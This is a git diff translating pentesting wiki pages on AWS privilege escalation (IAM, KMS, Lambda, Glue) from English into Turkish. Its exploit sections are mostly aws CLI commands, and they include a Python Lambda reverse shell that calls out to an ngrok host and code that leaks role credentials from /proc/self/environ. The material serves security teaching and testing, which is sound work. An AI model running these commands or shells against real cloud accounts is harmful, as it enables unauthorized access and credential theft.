+--schedule "0/5 * * * * *" #Every 5mins, feel free to change ``` - -**Potential Impact:** Privesc to the glue service role specified. +**Olası Etki:** Belirtilen glue hizmet rolüne privesc. ### `glue:UpdateJob` -Just with the update permission an attacked could steal the IAM Credentials of the already attached role. +Sadece güncelleme izni ile bir saldırgan, zaten ekli olan rolün IAM Kimlik Bilgilerini çalabilir. -**Potential Impact:** Privesc to the glue service role attached. +**Olası Etki:** Ekli olan glue hizmet rolüne privesc. -## References +## Referanslar - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md index 7807f6152..a33b99dcf 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md @@ -4,7 +4,7 @@ ## IAM -For more info about IAM check: +IAM hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-iam-enum.md @@ -12,228 +12,189 @@ For more info about IAM check: ### **`iam:CreatePolicyVersion`** -Grants the ability to create a new IAM policy version, bypassing the need for `iam:SetDefaultPolicyVersion` permission by using the `--set-as-default` flag. This enables defining custom permissions. +Yeni bir IAM politika versiyonu oluşturma yetkisi verir, `iam:SetDefaultPolicyVersion` iznine ihtiyaç duymadan `--set-as-default` bayrağını kullanarak. Bu, özel izinlerin tanımlanmasını sağlar. **Exploit Command:** - ```bash aws iam create-policy-version --policy-arn \ - --policy-document file:///path/to/administrator/policy.json --set-as-default +--policy-document file:///path/to/administrator/policy.json --set-as-default ``` - -**Impact:** Directly escalates privileges by allowing any action on any resource. +**Etkisi:** Herhangi bir kaynak üzerinde herhangi bir eyleme izin vererek doğrudan ayrıcalıkları yükseltir. ### **`iam:SetDefaultPolicyVersion`** -Allows changing the default version of an IAM policy to another existing version, potentially escalating privileges if the new version has more permissions. - -**Bash Command:** +Bir IAM politikasının varsayılan sürümünü başka bir mevcut sürüme değiştirmeye izin verir, eğer yeni sürüm daha fazla izin içeriyorsa ayrıcalıkları yükseltme potansiyeli taşır. +**Bash Komutu:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` - -**Impact:** Indirect privilege escalation by enabling more permissions. +**Etkisi:** Daha fazla izin vererek dolaylı ayrıcalık yükseltme. ### **`iam:CreateAccessKey`** -Enables creating access key ID and secret access key for another user, leading to potential privilege escalation. - -**Exploit:** +Başka bir kullanıcı için erişim anahtarı kimliği ve gizli erişim anahtarı oluşturulmasını sağlar, bu da potansiyel ayrıcalık yükseltmeye yol açar. +**Sömürü:** ```bash aws iam create-access-key --user-name ``` - -**Impact:** Direct privilege escalation by assuming another user's extended permissions. +**Etkisi:** Başka bir kullanıcının genişletilmiş izinlerini üstlenerek doğrudan yetki yükseltme. ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -Permits creating or updating a login profile, including setting passwords for AWS console login, leading to direct privilege escalation. - -**Exploit for Creation:** +AWS konsol girişi için şifre ayarlamayı da içeren bir giriş profili oluşturma veya güncelleme izni verir, bu da doğrudan yetki yükseltmeye yol açar. +**Oluşturma için Sömürü:** ```bash aws iam create-login-profile --user-name target_user --no-password-reset-required \ - --password '' +--password '' ``` - -**Exploit for Update:** - +**Güncelleme için Sömürü:** ```bash aws iam update-login-profile --user-name target_user --no-password-reset-required \ - --password '' +--password '' ``` - -**Impact:** Direct privilege escalation by logging in as "any" user. +**Etkisi:** "herhangi bir" kullanıcı olarak oturum açarak doğrudan yetki yükseltme. ### **`iam:UpdateAccessKey`** -Allows enabling a disabled access key, potentially leading to unauthorized access if the attacker possesses the disabled key. - -**Exploit:** +Devre dışı bırakılmış bir erişim anahtarını etkinleştirmeye izin verir, bu da saldırgan devre dışı bırakılmış anahtara sahipse yetkisiz erişime yol açabilir. +**Sömürü:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` - -**Impact:** Direct privilege escalation by reactivating access keys. +**Etkisi:** Erişim anahtarlarını yeniden etkinleştirerek doğrudan ayrıcalık yükseltme. ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -Enables generating or resetting credentials for specific AWS services (e.g., CodeCommit, Amazon Keyspaces), inheriting the permissions of the associated user. - -**Exploit for Creation:** +Belirli AWS hizmetleri için kimlik bilgilerini oluşturma veya sıfırlama yetkisi verir (örneğin, CodeCommit, Amazon Keyspaces), ilişkili kullanıcının izinlerini devralır. +**Oluşturma için Sömürü:** ```bash aws iam create-service-specific-credential --user-name --service-name ``` - -**Exploit for Reset:** - +**Sıfırlama için İstismar:** ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` - -**Impact:** Direct privilege escalation within the user's service permissions. +**Etkisi:** Kullanıcının hizmet izinleri içinde doğrudan yetki yükseltme. ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -Allows attaching policies to users or groups, directly escalating privileges by inheriting the permissions of the attached policy. - -**Exploit for User:** +Politikaların kullanıcılara veya gruplara eklenmesine izin verir, eklenen politikanın izinlerini miras alarak doğrudan yetki yükseltir. +**Kullanıcı için Sömürü:** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` - -**Exploit for Group:** - +**Grup için Sömürü:** ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` - -**Impact:** Direct privilege escalation to anything the policy grants. +**Etkisi:** Politikanın verdiği her şeye doğrudan yetki yükseltme. ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -Permits attaching or putting policies to roles, users, or groups, enabling direct privilege escalation by granting additional permissions. - -**Exploit for Role:** +Rollere, kullanıcılara veya gruplara politikalar eklemeye veya koymaya izin verir, ek izinler vererek doğrudan yetki yükseltmeyi sağlar. +**Rol için Sömürü:** ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` - -**Exploit for Inline Policies:** - +**Satır İçi Politikalara Saldırı:** ```bash aws iam put-user-policy --user-name --policy-name "" \ - --policy-document "file:///path/to/policy.json" +--policy-document "file:///path/to/policy.json" aws iam put-group-policy --group-name --policy-name "" \ - --policy-document file:///path/to/policy.json +--policy-document file:///path/to/policy.json aws iam put-role-policy --role-name --policy-name "" \ - --policy-document file:///path/to/policy.json +--policy-document file:///path/to/policy.json ``` - -You can use a policy like: - +Bir politika kullanabilirsiniz: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": ["*"], - "Resource": ["*"] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": ["*"], +"Resource": ["*"] +} +] } ``` - -**Impact:** Direct privilege escalation by adding permissions through policies. +**Etkisi:** Politikalara izinler ekleyerek doğrudan yetki yükseltme. ### **`iam:AddUserToGroup`** -Enables adding oneself to an IAM group, escalating privileges by inheriting the group's permissions. - -**Exploit:** +Kendini bir IAM grubuna eklemeyi sağlar, grubun izinlerini miras alarak yetkileri yükseltir. +**Sömürü:** ```bash aws iam add-user-to-group --group-name --user-name ``` - -**Impact:** Direct privilege escalation to the level of the group's permissions. +**Etkisi:** Grubun izin seviyesine doğrudan ayrıcalık yükseltme. ### **`iam:UpdateAssumeRolePolicy`** -Allows altering the assume role policy document of a role, enabling the assumption of the role and its associated permissions. - -**Exploit:** +Bir rolün varsayılan rol politikası belgesini değiştirmeye izin verir, böylece rolün ve onunla ilişkili izinlerin üstlenilmesini sağlar. +**Sömürü:** ```bash aws iam update-assume-role-policy --role-name \ - --policy-document file:///path/to/assume/role/policy.json +--policy-document file:///path/to/assume/role/policy.json ``` - -Where the policy looks like the following, which gives the user permission to assume the role: - +Aşağıdaki gibi görünen bir politika, kullanıcıya rolü üstlenme izni verir: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": "sts:AssumeRole", - "Principal": { - "AWS": "$USER_ARN" - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "sts:AssumeRole", +"Principal": { +"AWS": "$USER_ARN" +} +} +] } ``` - -**Impact:** Direct privilege escalation by assuming any role's permissions. +**Etkisi:** Herhangi bir rolün izinlerini üstlenerek doğrudan yetki yükseltme. ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -Permits uploading an SSH public key for authenticating to CodeCommit and deactivating MFA devices, leading to potential indirect privilege escalation. - -**Exploit for SSH Key Upload:** +CodeCommit'e kimlik doğrulamak için bir SSH genel anahtarı yüklemeye ve MFA cihazlarını devre dışı bırakmaya izin verir, bu da potansiyel dolaylı yetki yükseltmeye yol açar. +**SSH Anahtarı Yükleme için Sömürü:** ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` - -**Exploit for MFA Deactivation:** - +**MFA Devre Dışı Bırakma Açığı:** ```bash aws iam deactivate-mfa-device --user-name --serial-number ``` - -**Impact:** Indirect privilege escalation by enabling CodeCommit access or disabling MFA protection. +**Etkisi:** CodeCommit erişimini etkinleştirerek veya MFA korumasını devre dışı bırakarak dolaylı ayrıcalık yükseltme. ### **`iam:ResyncMFADevice`** -Allows resynchronization of an MFA device, potentially leading to indirect privilege escalation by manipulating MFA protection. - -**Bash Command:** +MFA cihazının yeniden senkronizasyonuna izin verir, bu da MFA korumasını manipüle ederek dolaylı ayrıcalık yükseltmeye yol açabilir. +**Bash Komutu:** ```bash aws iam resync-mfa-device --user-name --serial-number \ - --authentication-code1 --authentication-code2 +--authentication-code1 --authentication-code2 ``` - -**Impact:** Indirect privilege escalation by adding or manipulating MFA devices. +**Etkisi:** MFA cihazlarını ekleyerek veya manipüle ederek dolaylı ayrıcalık yükseltme. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -With these permissions you can **change the XML metadata of the SAML connection**. Then, you could abuse the **SAML federation** to **login** with any **role that is trusting** it. - -Note that doing this **legit users won't be able to login**. However, you could get the XML, so you can put yours, login and configure the previous back +Bu izinlerle **SAML bağlantısının XML meta verisini değiştirebilirsiniz**. Ardından, **SAML federasyonunu** **güvenen** herhangi bir **rol ile giriş yapmak** için kötüye kullanabilirsiniz. +Bunu yapmanın **meşru kullanıcıların giriş yapamayacağını** unutmayın. Ancak, XML'i alabilir, kendi XML'inizi koyabilir, giriş yapabilir ve önceki ayarları yapılandırabilirsiniz. ```bash # List SAMLs aws iam list-saml-providers @@ -249,14 +210,12 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar # Optional: Set the previous XML back aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` - > [!NOTE] -> TODO: A Tool capable of generating the SAML metadata and login with a specified role +> TODO: Belirtilen bir rol ile giriş yapabilen SAML meta verisi üretebilen bir Araç ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(Unsure about this) If an attacker has these **permissions** he could add a new **Thumbprint** to manage to login in all the roles trusting the provider. - +(Bu konuda emin değilim) Eğer bir saldırgan bu **izinlere** sahipse, sağlayıcıya güvenen tüm rollerde giriş yapabilmek için yeni bir **Parmak İzi** ekleyebilir. ```bash # List providers aws iam list-open-id-connect-providers @@ -265,13 +224,8 @@ aws iam get-open-id-connect-provider --open-id-connect-provider-arn # Update Thumbprints (The thumbprint is always a 40-character string) aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3 ``` - -## References +## Referanslar - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md index 02c05b76d..70064847d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md @@ -4,7 +4,7 @@ ## KMS -For more info about KMS check: +KMS hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-kms-enum.md @@ -12,8 +12,7 @@ For more info about KMS check: ### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`) -With these permissions it's possible to **modify the access permissions to the key** so it can be used by other accounts or even anyone: - +Bu izinlerle **anahtarın erişim izinlerini değiştirmek** mümkün, böylece diğer hesaplar veya hatta herkes tarafından kullanılabilir: ```bash aws kms list-keys aws kms list-key-policies --key-id # Although only 1 max per key @@ -21,106 +20,91 @@ aws kms get-key-policy --key-id --policy-name # AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default") aws kms put-key-policy --key-id --policy-name --policy file:///tmp/policy.json ``` - policy.json: - ```json { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "kms:*", - "Resource": "*" - }, - { - "Sid": "Allow all use", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": ["kms:*"], - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "kms:*", +"Resource": "*" +}, +{ +"Sid": "Allow all use", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": ["kms:*"], +"Resource": "*" +} +] } ``` - ### `kms:CreateGrant` -It **allows a principal to use a KMS key:** - +Bu, **bir yetkilinin bir KMS anahtarını kullanmasına izin verir:** ```bash aws kms create-grant \ - --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ - --grantee-principal arn:aws:iam::123456789012:user/exampleUser \ - --operations Decrypt +--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ +--grantee-principal arn:aws:iam::123456789012:user/exampleUser \ +--operations Decrypt ``` +> [!WARNING] +> Bir grant yalnızca belirli türdeki işlemlere izin verebilir: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) > [!WARNING] -> A grant can only allow certain types of operations: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) - -> [!WARNING] -> Note that it might take a couple of minutes for KMS to **allow the user to use the key after the grant has been generated**. Once that time has passed, the principal can use the KMS key without needing to specify anything.\ -> However, if it's needed to use the grant right away [use a grant token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (check the following code).\ -> For [**more info read this**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). - +> Grant oluşturulduktan sonra KMS'nin **kullanıcının anahtarı kullanmasına izin vermesi birkaç dakika sürebilir**. Bu süre geçtikten sonra, yetkili KMS anahtarını herhangi bir şey belirtmeden kullanabilir.\ +> Ancak, grant'i hemen kullanmak gerekiyorsa [bir grant token kullanın](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (aşağıdaki kodu kontrol edin).\ +> [**Daha fazla bilgi için bunu okuyun**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). ```bash # Use the grant token in a request aws kms generate-data-key \ - --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ - –-key-spec AES_256 \ - --grant-tokens $token +--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ +–-key-spec AES_256 \ +--grant-tokens $token ``` - -Note that it's possible to list grant of keys with: - +Not edin ki, anahtarların yetkilerini listelemek mümkündür: ```bash aws kms list-grants --key-id ``` - ### `kms:CreateKey`, `kms:ReplicateKey` -With these permissions it's possible to replicate a multi-region enabled KMS key in a different region with a different policy. - -So, an attacker could abuse this to obtain privesc his access to the key and use it +Bu izinlerle, çok bölgeli etkin bir KMS anahtarını farklı bir bölgede farklı bir politika ile çoğaltmak mümkündür. +Yani, bir saldırgan bunu kullanarak anahtara erişimini artırabilir ve onu kullanabilir. ```bash aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "kms:*", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "kms:*", +"Resource": "*" +} +] } ``` - ### `kms:Decrypt` -This permission allows to use a key to decrypt some information.\ -For more information check: +Bu izin, bir anahtarı kullanarak bazı bilgileri şifre çözmeye olanak tanır.\ +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-post-exploitation/aws-kms-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md index d276ef737..fda77df26 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md @@ -4,7 +4,7 @@ ## lambda -More info about lambda in: +Lambda hakkında daha fazla bilgi için: {{#ref}} ../aws-services/aws-lambda-enum.md @@ -12,23 +12,22 @@ More info about lambda in: ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`) -Users with the **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction`** permissions can escalate their privileges.\ -They can **create a new Lambda function and assign it an existing IAM role**, granting the function the permissions associated with that role. The user can then **write and upload code to this Lambda function (with a rev shell for example)**.\ -Once the function is set up, the user can **trigger its execution** and the intended actions by invoking the Lambda function through the AWS API. This approach effectively allows the user to perform tasks indirectly through the Lambda function, operating with the level of access granted to the IAM role associated with it.\\ - -A attacker could abuse this to get a **rev shell and steal the token**: +**`iam:PassRole`, `lambda:CreateFunction` ve `lambda:InvokeFunction`** izinlerine sahip kullanıcılar, ayrıcalıklarını artırabilir.\ +Yeni bir Lambda fonksiyonu **oluşturabilir ve mevcut bir IAM rolünü atayabilirler**, bu da fonksiyona o rolle ilişkili izinleri verir. Kullanıcı daha sonra **bu Lambda fonksiyonuna kod yazabilir ve yükleyebilir (örneğin bir rev shell ile)**.\ +Fonksiyon kurulduktan sonra, kullanıcı **çalıştırılmasını tetikleyebilir** ve AWS API'si aracılığıyla Lambda fonksiyonunu çağırarak istenen eylemleri gerçekleştirebilir. Bu yaklaşım, kullanıcının Lambda fonksiyonu aracılığıyla dolaylı olarak görevleri yerine getirmesine olanak tanır ve bununla ilişkili IAM rolüne verilen erişim seviyesinde çalışır.\\ +Bir saldırgan bunu **rev shell almak ve token'ı çalmak için** kötüye kullanabilir: ```python:rev.py import socket,subprocess,os,time def lambda_handler(event, context): - s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); - s.connect(('4.tcp.ngrok.io',14305)) - os.dup2(s.fileno(),0) - os.dup2(s.fileno(),1) - os.dup2(s.fileno(),2) - p=subprocess.call(['/bin/sh','-i']) - time.sleep(900) - return 0 +s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); +s.connect(('4.tcp.ngrok.io',14305)) +os.dup2(s.fileno(),0) +os.dup2(s.fileno(),1) +os.dup2(s.fileno(),2) +p=subprocess.call(['/bin/sh','-i']) +time.sleep(900) +return 0 ``` ```bash @@ -37,8 +36,8 @@ zip "rev.zip" "rev.py" # Create the function aws lambda create-function --function-name my_function \ - --runtime python3.9 --role \ - --handler rev.lambda_handler --zip-file fileb://rev.zip +--runtime python3.9 --role \ +--handler rev.lambda_handler --zip-file fileb://rev.zip # Invoke the function aws lambda invoke --function-name my_function output.txt @@ -47,99 +46,83 @@ aws lambda invoke --function-name my_function output.txt # List roles aws iam list-attached-user-policies --user-name ``` - -You could also **abuse the lambda role permissions** from the lambda function itself.\ -If the lambda role had enough permissions you could use it to grant admin rights to you: - +Lambda fonksiyonunun kendisinden **lambda rol izinlerini kötüye kullanabilirsiniz**.\ +Eğer lambda rolü yeterli izinlere sahipse, bunu size yönetici hakları vermek için kullanabilirsiniz: ```python import boto3 def lambda_handler(event, context): - client = boto3.client('iam') - response = client.attach_user_policy( - UserName='my_username', - PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' - ) - return response +client = boto3.client('iam') +response = client.attach_user_policy( +UserName='my_username', +PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' +) +return response ``` - -It is also possible to leak the lambda's role credentials without needing an external connection. This would be useful for **Network isolated Lambdas** used on internal tasks. If there are unknown security groups filtering your reverse shells, this piece of code will allow you to directly leak the credentials as the output of the lambda. - +Lambda'nın rol kimlik bilgilerini dış bağlantıya ihtiyaç duymadan sızdırmak da mümkündür. Bu, iç görevlerde kullanılan **Ağdan İzole Lambdalar** için faydalı olacaktır. Eğer bilinmeyen güvenlik grupları ters shell'lerinizi filtreliyorsa, bu kod parçası, kimlik bilgilerini lambda'nın çıktısı olarak doğrudan sızdırmanıza olanak tanıyacaktır. ```python def handler(event, context): -    sessiontoken = open('/proc/self/environ', "r").read() -    return { -        'statusCode': 200, -        'session': str(sessiontoken) -    } +sessiontoken = open('/proc/self/environ', "r").read() +return { +'statusCode': 200, +'session': str(sessiontoken) +} ``` ```bash aws lambda invoke --function-name output.txt cat output.txt ``` +**Olası Etki:** Belirtilen keyfi lambda hizmet rolüne doğrudan privesc. -**Potential Impact:** Direct privesc to the arbitrary lambda service role specified. - -> [!CAUTION] -> Note that even if it might looks interesting **`lambda:InvokeAsync`** **doesn't** allow on it's own to **execute `aws lambda invoke-async`**, you also need `lambda:InvokeFunction` +> [!DİKKAT] +> İlginç görünebilir, ancak **`lambda:InvokeAsync`** kendi başına **`aws lambda invoke-async`** çalıştırmaya izin vermez, ayrıca `lambda:InvokeFunction` iznine de ihtiyacınız var. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission` -Like in the previous scenario, you can **grant yourself the `lambda:InvokeFunction`** permission if you have the permission **`lambda:AddPermission`** - +Önceki senaryoda olduğu gibi, **`lambda:AddPermission`** iznine sahipseniz **kendinize `lambda:InvokeFunction`** iznini verebilirsiniz. ```bash # Check the previous exploit and use the following line to grant you the invoke permissions aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \ - --action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" +--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" ``` - -**Potential Impact:** Direct privesc to the arbitrary lambda service role specified. +**Potansiyel Etki:** Belirtilen keyfi lambda hizmet rolüne doğrudan yetki yükseltme. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` -Users with **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** permissions (and potentially `dynamodb:PutItem` and `dynamodb:CreateTable`) can indirectly **escalate privileges** even without `lambda:InvokeFunction`.\ -They can create a **Lambda function with malicious code and assign it an existing IAM role**. - -Instead of directly invoking the Lambda, the user sets up or utilizes an existing DynamoDB table, linking it to the Lambda through an event source mapping. This setup ensures the Lambda function is **triggered automatically upon a new item** entry in the table, either by the user's action or another process, thereby indirectly invoking the Lambda function and executing the code with the permissions of the passed IAM role. +**`iam:PassRole`, `lambda:CreateFunction` ve `lambda:CreateEventSourceMapping`** izinlerine sahip kullanıcılar (ve potansiyel olarak `dynamodb:PutItem` ve `dynamodb:CreateTable`) dolaylı olarak **yetki yükseltebilirler**; hatta `lambda:InvokeFunction` olmadan bile.\ +Kötü niyetli kod içeren bir **Lambda fonksiyonu oluşturabilir ve ona mevcut bir IAM rolü atayabilirler**. +Kullanıcı doğrudan Lambda'yı çağırmak yerine, mevcut bir DynamoDB tablosu kurar veya kullanır ve bunu bir olay kaynağı eşlemesi aracılığıyla Lambda ile bağlar. Bu kurulum, Lambda fonksiyonunun tablodaki yeni bir öğe girişi ile **otomatik olarak tetiklenmesini** sağlar; bu, kullanıcının eylemi veya başka bir işlem tarafından gerçekleşebilir ve böylece Lambda fonksiyonu dolaylı olarak çağrılır ve kod, geçirilen IAM rolünün izinleriyle yürütülür. ```bash aws lambda create-function --function-name my_function \ - --runtime python3.8 --role \ - --handler lambda_function.lambda_handler \ - --zip-file fileb://rev.zip +--runtime python3.8 --role \ +--handler lambda_function.lambda_handler \ +--zip-file fileb://rev.zip ``` - -If DynamoDB is already active in the AWS environment, the user only **needs to establish the event source mapping** for the Lambda function. However, if DynamoDB isn't in use, the user must **create a new table** with streaming enabled: - +Eğer DynamoDB AWS ortamında zaten aktifse, kullanıcı sadece **Lambda fonksiyonu için olay kaynağı eşlemesini oluşturması** gerekir. Ancak, eğer DynamoDB kullanılmıyorsa, kullanıcı **streaming etkinleştirilmiş yeni bir tablo oluşturmalıdır:** ```bash aws dynamodb create-table --table-name my_table \ - --attribute-definitions AttributeName=Test,AttributeType=S \ - --key-schema AttributeName=Test,KeyType=HASH \ - --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ - --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES +--attribute-definitions AttributeName=Test,AttributeType=S \ +--key-schema AttributeName=Test,KeyType=HASH \ +--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ +--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES ``` - -Now it's posible **connect the Lambda function to the DynamoDB table** by **creating an event source mapping**: - +Artık **Lambda fonksiyonunu DynamoDB tablosuna bağlamak** için **bir olay kaynağı eşlemesi oluşturmak** mümkündür: ```bash aws lambda create-event-source-mapping --function-name my_function \ - --event-source-arn \ - --enabled --starting-position LATEST +--event-source-arn \ +--enabled --starting-position LATEST ``` - -With the Lambda function linked to the DynamoDB stream, the attacker can **indirectly trigger the Lambda by activating the DynamoDB stream**. This can be accomplished by **inserting an item** into the DynamoDB table: - +DynamoDB akışına bağlı Lambda işlevi ile, saldırgan **DynamoDB akışını etkinleştirerek Lambda'yı dolaylı olarak tetikleyebilir**. Bu, **DynamoDB tablosuna bir öğe ekleyerek** gerçekleştirilebilir: ```bash aws dynamodb put-item --table-name my_table \ - --item Test={S="Random string"} +--item Test={S="Random string"} ``` - -**Potential Impact:** Direct privesc to the lambda service role specified. +**Olası Etki:** Belirtilen lambda hizmet rolüne doğrudan yetki yükseltme. ### `lambda:AddPermission` -An attacker with this permission can **grant himself (or others) any permissions** (this generates resource based policies to grant access to the resource): - +Bu izne sahip bir saldırgan **kendisine (veya başkalarına) herhangi bir izin verebilir** (bu, kaynağa erişim sağlamak için kaynak tabanlı politikalar oluşturur): ```bash # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode) aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn: @@ -147,71 +130,62 @@ aws lambda add-permission --function-name --statement-id asdasd --ac # Invoke the function aws lambda invoke --function-name /tmp/outout ``` - -**Potential Impact:** Direct privesc to the lambda service role used by granting permission to modify the code and run it. +**Olası Etki:** Kodu değiştirme ve çalıştırma izni vererek lambda hizmet rolüne doğrudan yetki artırma. ### `lambda:AddLayerVersionPermission` -An attacker with this permission can **grant himself (or others) the permission `lambda:GetLayerVersion`**. He could access the layer and search for vulnerabilities or sensitive information - +Bu izne sahip bir saldırgan **kendisine (veya başkalarına) `lambda:GetLayerVersion` iznini verebilir**. Katmana erişebilir ve güvenlik açıkları veya hassas bilgiler arayabilir. ```bash # Give everyone the permission lambda:GetLayerVersion aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion ``` - -**Potential Impact:** Potential access to sensitive information. +**Potansiyel Etki:** Hassas bilgilere potansiyel erişim. ### `lambda:UpdateFunctionCode` -Users holding the **`lambda:UpdateFunctionCode`** permission has the potential to **modify the code of an existing Lambda function that is linked to an IAM role.**\ -The attacker can **modify the code of the lambda to exfiltrate the IAM credentials**. - -Although the attacker might not have the direct ability to invoke the function, if the Lambda function is pre-existing and operational, it's probable that it will be triggered through existing workflows or events, thus indirectly facilitating the execution of the modified code. +**`lambda:UpdateFunctionCode`** iznine sahip kullanıcılar, **bir IAM rolüne bağlı mevcut bir Lambda fonksiyonunun kodunu değiştirme potansiyeline sahiptir.**\ +Saldırgan, **IAM kimlik bilgilerini dışarı aktarmak için lambdanın kodunu değiştirebilir.** +Saldırganın fonksiyonu doğrudan çağırma yeteneği olmasa da, eğer Lambda fonksiyonu önceden var ve çalışıyorsa, mevcut iş akışları veya olaylar aracılığıyla tetiklenmesi muhtemeldir, böylece değiştirilmiş kodun yürütülmesini dolaylı olarak kolaylaştırır. ```bash # The zip should contain the lambda code (trick: Download the current one and add your code there) aws lambda update-function-code --function-name target_function \ - --zip-file fileb:///my/lambda/code/zipped.zip 